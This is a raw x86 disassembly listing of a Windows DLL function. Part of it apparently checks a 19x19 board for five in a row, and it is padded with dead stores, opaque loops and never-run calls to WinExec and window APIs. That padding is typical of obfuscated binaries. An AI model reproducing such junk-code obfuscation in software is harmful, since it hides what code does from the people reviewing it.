mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x5d0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [edx + 0xc]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x578]
call fcn.1000a94e
xor ecx, ecx
cmp dword [ebp - 0x34], ecx
je 0x100114cc
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
neg edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0xc8]
cmp ecx, 0xfff6
mov ecx, 0x30f8
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0xc8]
add ecx, eax
mov eax, dword [ebp - 0xc8]
add eax, ecx
mov ecx, dword [ebp - 0x34]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x38], eax
jg 0x100114ca
xor edx, edx
inc edx
xor ecx, ecx
mov eax, edx
jmp 0x100114d1
xor ecx, ecx
xor edx, edx
mov eax, ecx
inc edx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x12
jle 0x10010bb9
push 4
lea ecx, [ebp - 0x590]
call fcn.1000a859
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x624]
push 3
mov esi, 0x66fe7d8a
mov edi, 0x7059141a
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x4c], edi
pop ebx
mov dword [ebp - 0x4c], 0x60cbeb96
mov dword [ebp - 0x4c], 0x303f0244
mov dword [ebp - 0x4c], 6
push ebx
call fcn.1000a859
xor edx, edx
mov dword [ebp - 0x38], 0x7073
mov dword [ebp - 0x10], edx
jmp 0x10011546
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x590]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10011533
mov dword [ebp - 0x10], edx
jmp 0x10011564
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x624]
mov dword [eax + ecx*4], 0xc8490231
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10011551
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], ebx
mov ebx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
jg 0x1001165c
xor ecx, ecx
inc ecx
mov dword [ebp - 0x30], 0x72304b25
mov dword [ebp - 0x4c], 0x357257ea
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0x6e85fcb
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x20], edx
jmp 0x100115c0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x834], 0x72305ab
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100115af
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x100115d7
push edx
call ebx
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], edx
jl 0x1001164f
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x20], edx
jmp 0x100115fc
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x628], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100115ef
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], edx
jl 0x10011644
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], 0x8039d6b9
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x20], edx
jmp 0x10011637
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x648], 0xb39d2057
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10011626
inc dword [ebp - 0x38]
dec dword [ebp - 0x18]
jns 0x1001160d
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x30]
jns 0x100115e3
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jle 0x1001157e
lea ecx, [ebp - 0x624]
call fcn.1000a94e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x590]
call fcn.1000a94e
push 4
lea ecx, [ebp - 0x5a8]
call fcn.1000a859
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x664]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x4c], 0x60cbeb96
mov dword [ebp - 0x4c], 0x303f0244
mov dword [ebp - 0x4c], 6
push 3
call fcn.1000a859
xor edx, edx
mov dword [ebp - 0x38], 0x7073
mov dword [ebp - 0x10], edx
jmp 0x100116d3
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5a8]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100116c0
mov dword [ebp - 0x10], edx
jmp 0x100116f1
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x664]
mov dword [eax + ecx*4], 0xc8490231
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100116de
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 3
jg 0x100117e5
xor ecx, ecx
inc ecx
mov dword [ebp - 0x30], 0x72304b25
mov dword [ebp - 0x4c], 0x357257ea
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x4c], 0x6e85fcb
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x20], edx
jmp 0x10011749
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7cc], 0x72305ab
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10011738
mov byte [ebp - 0x11], dl
cmp byte [ebp - 0x11], 0
je 0x10011760
push edx
call ebx
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x30], 3
cmp dword [ebp - 0x30], edx
jl 0x100117d8
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x20], edx
jmp 0x10011785
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x658], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10011778
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], edx
jl 0x100117cd
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x4c], 0x8039d6b9
mov dword [ebp - 0x4c], 9
mov dword [ebp - 0x20], edx
jmp 0x100117c0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x668], 0xb39d2057
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100117af
inc dword [ebp - 0x38]
dec dword [ebp - 0x18]
jns 0x10011796
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x30]
jns 0x1001176c
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jle 0x10011707
lea ecx, [ebp - 0x664]
call fcn.1000a94e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5a8]
call fcn.1000a94e
xor ebx, ebx
mov dword [ebp - 0x20], 0xb3ae3556
mov dword [ebp - 0x20], ebx
jmp 0x10011830
mov dword [ebp - 0x2c], 0x905d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10011828
push 0x68c
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x2c], ebx
jne 0x10011836
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffd
jg 0x1001180d
mov dword [ebp - 0x20], 0xb3ae3556
mov dword [ebp - 0x20], ebx
jmp 0x10011865
mov dword [ebp - 0x2c], 0x905d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1001185d
push 0x68c
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x2c], ebx
jne 0x1001186b
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffd
jg 0x10011842
xor eax, eax
lea ecx, [ebp - 0x634]
inc eax
mov dword [ebp - 0x30], eax
push 2
call fcn.1000a859
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], ebx
jmp 0x1001189d
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x634]
mov dword [eax + ecx*4], 0x7689
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1001188a
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 4
jne 0x1001197e
xor edi, edi
lea ecx, [ebp - 0x2b8]
inc edi
push edi
call fcn.1000a859
xor edx, edx
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], ebx
jmp 0x100118d9
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2b8]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x100118ca
mov eax, dword [ebp - 0x2b8]
mov dword [eax], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100118f8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x300], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100118eb
mov dword [ebp - 0x2fc], edx
cmp dword [ebp - 0x2fc], ebx
jl 0x10011926
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001191b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
dec dword [ebp - 0x2fc]
jns 0x1001190c
xor edx, edx
inc edx
mov eax, dword [ebp - 0x2b8]
inc dword [eax]
cmp dword [eax], edx
jle 0x100118e6
mov dword [ebp - 0x28], ebx
jmp 0x1001195c
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10011956
push 0x1e2a
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jle 0x10011937
lea ecx, [ebp - 0x2b8]
call fcn.1000a94e
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
je 0x100118b0
mov edi, 0x7059141a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100119a2
push ebx
push 0xafa
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x634]
call fcn.1000a94e
push 4
lea ecx, [ebp - 0x674]
call fcn.1000a859
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x734]
mov eax, 0xa5c62e08
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x58], eax
xorps xmm0, xmm0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x724]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5c0]
movdqu xmmword [ebp - 0x734], xmm0
call fcn.1000a895
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x10], ebx
jmp 0x10011a2d
mov dword [ebp - 0x2c], 0x398070ad
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10011a25
push 0xd9e
call dword [sym.imp.GDI32.dll_GetStockObject]
cmp dword [ebp - 0x2c], ebx
jne 0x10011a33
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x11
jge 0x10011a0a
mov dword [ebp - 0x10], 3
cmp dword [ebp - 0x10], ebx
jl 0x10011a56
mov dword [ebp - 0x2c], 0x9ba095a9
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c0]
mov dword [eax], ecx
dec dword [ebp - 0x10]
jns 0x10011a3f
lea ecx, [ebp - 0x5c0]
call fcn.1000a94e
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], 0x25b9b55b
mov dword [ebp - 0x20], ebx
jmp 0x10011a81
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x84c], 0xfff7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10011a70
mov dword [ebp - 0x28], 0x18
jmp 0x10011abb
mov dword [ebp - 0x20], 0x417be187
mov dword [ebp - 0x2c], 0xfffffffa
cmp dword [ebp - 0x28], ebx
jne 0x10011ac1
mov dword [ebp - 0x20], ebx
jmp 0x10011ab2
mov dword [ebp - 0x2c], 0x358bd4df
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10011aa8
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe6
je 0x10011a90
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x2c], 0x25bc
cmp dword [ebp - 0x2c], 0xf34
jge 0x10011c32
lea eax, [ebp - 0xb8]
push eax
push ecx
lea eax, [ebp - 0x100]
mov ecx, 0x10658770
push eax
call fcn.1001c1e2
pop ecx
mov ecx, eax
call fcn.1001c1e2
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
mov edx, dword [ebp - 0xb4]
or eax, edx
je 0x10011c20
xor edi, edi
inc edi
add ecx, 0xffffffff
lea eax, [ebp - 0x350]
push eax
push ecx
lea eax, [ebp - 0x158]
mov dword [ebp - 0xb8], ecx
adc edx, 0xffffffff
mov ecx, 0x10658770
push eax
mov dword [ebp - 0xb4], edx
call fcn.1001c1e2
pop ecx
mov ecx, eax
call fcn.1001c1e2
push dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x158]
push dword [ebp - 0x100]
mov eax, dword [ebp - 0x154]
sub ecx, edi
sbb eax, ebx
push eax
push ecx
call fcn.100518f0
mov edi, dword [ebp - 0x350]
add eax, edi
mov esi, dword [ebp - 0x34c]
adc edx, esi
xor ecx, ecx
inc ecx
add eax, ecx
push ebx
push 2
adc edx, ebx
push edx
push eax
call fcn.10064f10
add edi, dword [ebp - 0x158]
mov ebx, eax
push 0
adc esi, dword [ebp - 0x154]
push 2
push esi
push edi
mov dword [ebp - 0x2c], edx
call fcn.10064fc0
xor edi, edi
inc edi
cmp eax, edi
jne 0x10011bdf
xor esi, esi
cmp edx, esi
jne 0x10011bdf
push dword [ebp - 0xfc]
push dword [ebp - 0x100]
push dword [ebp - 0xfc]
push dword [ebp - 0x100]
call fcn.100518f0
add eax, edi
push esi
push 2
adc edx, esi
push edx
push eax
call fcn.10064f10
jmp 0x10011bed
xorps xmm0, xmm0
movlpd qword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
add ebx, eax
mov ecx, 0x106586b8
mov eax, dword [ebp - 0x2c]
adc eax, edx
push eax
push ebx
call fcn.1000a744
push eax
call fcn.1000e0ee
mov edx, dword [ebp - 0xb4]
pop ecx
mov ecx, dword [ebp - 0xb8]
mov eax, ecx
or eax, edx
push 0
pop ebx
jne 0x10011b12
add ecx, 0xffffffff
mov dword [ebp - 0xb8], ecx
adc edx, 0xffffffff
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0x30], 0xf0b101aa
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x78], 9
push 4
call fcn.1000a859
mov dword [ebp - 0x10], ebx
jmp 0x10011c63
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd8], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10011c52
mov dword [ebp - 0x10], ebx
jmp 0x10011c81
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x33c]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10011c6e
mov dword [ebp - 0xd8], ebx
cmp dword [ebp - 0xd8], 0xffffffe8
jge 0x100120d4
mov ebx, dword [ebp - 0x33c]
mov dword [ebp - 0x40], ebx
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x34], edx
inc ecx
mov dword [ebp - 0x38], 0x40c09c4f
mov dword [ebp - 0x60], 0xc132d45a
mov dword [ebp - 0x20], edx
jmp 0x10011ccb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x218], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10011cbe
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], 9
jne 0x10012008
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x2c], 0x1659
cmp dword [ebp - 0x2c], 0xbca
jge 0x10011f20
lea eax, [ebp - 0x98]
push eax
push 0x10008430
call fcn.1004bcab
pop ecx
jmp 0x10011f05
dec eax
lea esi, [ebp - 0x1ac0]
push 0x13
mov dword [ebp - 0x98], eax
pop ebx
push 0x13
pop edi
push esi
push 0x10008430
call fcn.1004bcab
pop ecx
add esi, 4
pop ecx
dec edi
jne 0x10011d1e
dec ebx
jne 0x10011d1b
xor edx, edx
lea esi, [ebp - 0x1ac0]
mov cl, dl
mov dword [ebp - 0x24], edx
mov ebx, edx
mov byte [ebp - 0x11], cl
mov dword [ebp - 0x20], ebx
mov eax, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x5c], esi
jmp 0x10011d59
mov cl, byte [ebp - 0x11]
test cl, cl
jne 0x10011f06
xor ecx, ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x28], esi
mov edi, dword [esi]
mov dword [ebp - 0x38], edi
test edi, edi
je 0x10011e8f
test ebx, ebx
je 0x10011d8c
test ecx, ecx
je 0x10011d8c
add eax, ecx
cmp dword [ebp + eax*4 - 0x1b10], edi
je 0x10011dd4
mov eax, dword [ebp - 0x24]
xor esi, esi
cmp edx, 0xffffffed
jle 0x10011dd1
mov edx, ebx
mov edi, eax
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
add eax, edx
cmp eax, 0x13
jge 0x10011dbf
lea eax, [esi + ecx]
add eax, edi
mov eax, dword [ebp + eax*4 - 0x1ac0]
cmp eax, dword [ebx + ecx*4]
jne 0x10011dbf
inc esi
add edi, 0x13
inc edx
cmp edx, 0x13
jl 0x10011d9a
mov ebx, dword [ebp - 0x20]
cmp esi, 5
je 0x10011ea4
mov edi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x28]
cmp edx, 0xffffffee
je 0x10011de2
test ecx, ecx
je 0x10011de2
cmp dword [esi + 0x48], edi
je 0x10011e18
xor edi, edi
test ebx, ebx
js 0x10011e15
mov dword [ebp - 0x6c], ebx
mov edx, ecx
mov ebx, dword [ebp - 0x3c]
cmp edx, 0x13
jge 0x10011e06
mov eax, dword [esi]
cmp eax, dword [ebx + ecx*4]
jne 0x10011e06
inc edi
sub esi, 0x48
inc edx
dec dword [ebp - 0x6c]
jns 0x10011df0
mov ebx, dword [ebp - 0x20]
cmp edi, 5
je 0x10011ea4
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x38]
test ebx, ebx
je 0x10011e2a
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp dword [ebp + eax*4 - 0x1b0c], edi
je 0x10011e51
xor edi, edi
mov esi, edi
cmp edx, 0xffffffed
jle 0x10011e53
mov eax, dword [ebp - 0x3c]
mov edx, ebx
mov edi, dword [eax + ecx*4]
mov eax, dword [ebp - 0x28]
cmp dword [eax], edi
jne 0x10011e4c
inc esi
add eax, 0x4c
inc edx
cmp edx, 0x13
jl 0x10011e3e
cmp esi, 5
je 0x10011ea4
xor edi, edi
test ecx, ecx
je 0x10011e61
mov esi, dword [ebp - 0x28]
mov eax, dword [esi]
cmp dword [esi - 4], eax
je 0x10011e89
mov esi, edi
cmp ecx, 0x13
jge 0x10011e86
mov eax, dword [ebp - 0x3c]
mov edx, ecx
mov edi, dword [eax + ecx*4]
mov eax, dword [ebp - 0x28]
cmp dword [eax], edi
jne 0x10011e81
inc esi
add eax, 4
inc edx
cmp edx, 0x13
jl 0x10011e73
cmp esi, 5
je 0x10011ea4
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x10]
inc ecx
add esi, 4
inc dword [ebp - 0x18]
mov dword [ebp - 0x28], esi
cmp ecx, 0x13
jl 0x10011d69
jmp 0x10011ed1
xor eax, eax
inc eax
mov byte [ebp - 0x11], al
lea eax, [ecx + 1]
push eax
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 0x24]
add eax, ecx
push dword [ebp + eax*4 - 0x1ac0]
push 0x1000843c
call fcn.1004c43c
mov edx, dword [ebp - 0x10]
add esp, 0x10
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x3c], 0x4c
inc ebx
mov esi, dword [ebp - 0x5c]
dec edx
add eax, 0x13
mov dword [ebp - 0x20], ebx
add esi, 0x4c
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x5c], esi
cmp edx, 0xffffffed
jg 0x10011d56
cmp byte [ebp - 0x11], 0
jne 0x10011f06
push 0x10008448
call fcn.1004c43c
pop ecx
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x10011d0b
dec eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x98], eax
inc ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x2c], 0x4e62b500
mov dword [ebp - 0x10], 0xffffffe5
cmp dword [ebp - 0x10], 0x11
jle 0x10011ff5
mov dword [ebp - 0x20], edx
jmp 0x10011f51
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x688], 0xefe0cd1b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10011f40
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x30], edx
je 0x10011f68
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0xd8], 0xffffffff
jl 0x10011f7c
cmp dword [ebp - 0x10], edx
je 0x10011f7e
mov edx, ecx
mov eax, dword [ebp - 0x680]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x5c], ecx
mov ecx, 0x9b467bb1
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x680]
je 0x10011fbb
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
dec ecx
neg ecx
push 0
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xffffffff
setl al
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0xd8]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop edx
setl cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x11
push 1
pop ecx
jg 0x10011f3b
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 9
push 0
pop edx
je 0x10011cdd
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], 0xc515
cmp dword [ebp - 0x38], edx
jne 0x10012028
mov ecx, edx
xor eax, eax
cmp ecx, 0xd326
setg al
cmp eax, dword [ebp - 0x34]
je 0x10012042
cmp dword [ebp - 0x30], edx
je 0x10012042
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x78]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x34]
setl cl
imul ecx, eax
mov dword [ebx + 8], ecx
test ecx, ecx
je 0x1001221c
xor ecx, ecx
cmp dword [ebp - 0x34], ecx
je 0x1001221e
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x34]
xor ebx, ebx
add eax, dword [ebp - 0x30]
cmp eax, 6
mov eax, dword [ebp - 0x60]
setl bl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
sub ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
imul ebx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x40]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x34]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0xd8]
cmp dword [ebp - 0xd8], 0xffffffe8
jl 0x10011ca3
xor ebx, ebx
lea ecx, [ebp - 0x33c]
call fcn.1000a94e
mov dword [ebp - 0x60], 0x148d
cmp dword [ebp - 0x60], 0xba5
jge 0x100121f4
lea eax, [ebp - 0x128]
push eax
push 0x10008430
call fcn.1004bcab
mov eax, dword [ebp - 0x128]
mov edi, ebx
pop ecx
pop ecx
test eax, eax
jle 0x10012132
mov esi, 0x1065a190
push esi
push 0x10008430
call fcn.1004bcab
mov eax, dword [ebp - 0x128]
inc edi
pop ecx
add esi, 4
pop ecx
cmp edi, eax
jl 0x10012117
xorps xmm0, xmm0
dec eax
movlpd qword [ebp - 0x50], xmm0
mov edi, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x50]
mov dword [ebp - 0x5c], eax
js 0x100121e5
mov dword [ebp - 0x38], edi
mov edx, dword [eax*4 + 0x1065a190]
xor esi, esi
mov ecx, edx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x60], edx
test ecx, ecx
jle 0x10012189
add ebx, dword [ecx*8 + 0x10659840]
mov eax, ecx
adc edi, dword [ecx*8 + 0x10659844]
neg eax
add esi, dword [ecx*8 + 0x10659d30]
and eax, ecx
sub ecx, eax
test ecx, ecx
jg 0x10012162
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x38], edi
mov esi, edx
cmp esi, 0x8b
jg 0x100121cc
mov eax, edx
xor edi, edi
cdq
inc edi
add dword [esi*8 + 0x10659840], eax
mov ecx, esi
adc dword [esi*8 + 0x10659844], edx
add dword [esi*8 + 0x10659d30], edi
adc dword [esi*8 + 0x10659d34], 0
neg ecx
and ecx, esi
add esi, ecx
cmp esi, 0x8b
jle 0x10012199
mov edi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
imul edx
add ebx, eax
mov eax, dword [ebp - 0x5c]
adc edi, edx
dec eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x5c], eax
jns 0x1001214d
push edi
push ebx
push 0x1000844c
call fcn.1004c43c
add esp, 0xc
push 3
pop edi
mov dword [ebp - 0x4c], 0x60cbeb96
lea ecx, [ebp - 0x384]
push edi
call fcn.1000a859
mov byte [ebp - 4], 7
xor ebx, ebx
mov dword [ebp - 0x10], 0xe57ad95e
mov dword [ebp - 0x10], ebx
jmp 0x10012247
xor ecx, ecx
mov eax, dword [ebp - 0x33c]
cmp dword [eax + 0xc], ecx
jne 0x10012068
mov edx, ecx
jmp 0x1001206d
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x384]
mov dword [eax + ecx*4], 0x4e2db58e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10012234
xor ecx, ecx
mov dword [ebp - 0x10], ebx
inc ecx
jmp 0x10012265
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1a8], 0x1ba028ea
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10012254
mov dword [ebp - 0x10], ebx
jmp 0x10012282
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x384]
mov dword [eax + ecx*4], 0xca0029bf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1001226f
mov dword [ebp - 0x10], 0xfffffff6
cmp dword [ebp - 0x10], 0x13
jg 0x10012323
mov esi, 0xfffc
mov dword [ebp - 0x4cc], esi
lea ecx, [ebp - 0x498]
mov dword [ebp - 0x4c8], esi
mov dword [ebp - 0x4c4], esi
mov dword [ebp - 0x4c0], esi
push 2
call fcn.1000a859
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffb
inc edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x20], ebx
jmp 0x100122e7
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x498]
mov dword [eax + ecx*4], 0xde9bf9f3
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100122d4
mov eax, dword [ebp - 0x4c4]
lea ecx, [ebp - 0x498]
mov eax, dword [ebp - 0x498]
mov dword [eax + 4], edx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x60], eax
call fcn.1000a94e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x13
jle 0x1001229d
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 6
call fcn.1000a94e
xor ecx, ecx
mov dword [ebp - 0x4c], 0x303f0244
mov dword [ebp - 0x20], ebx
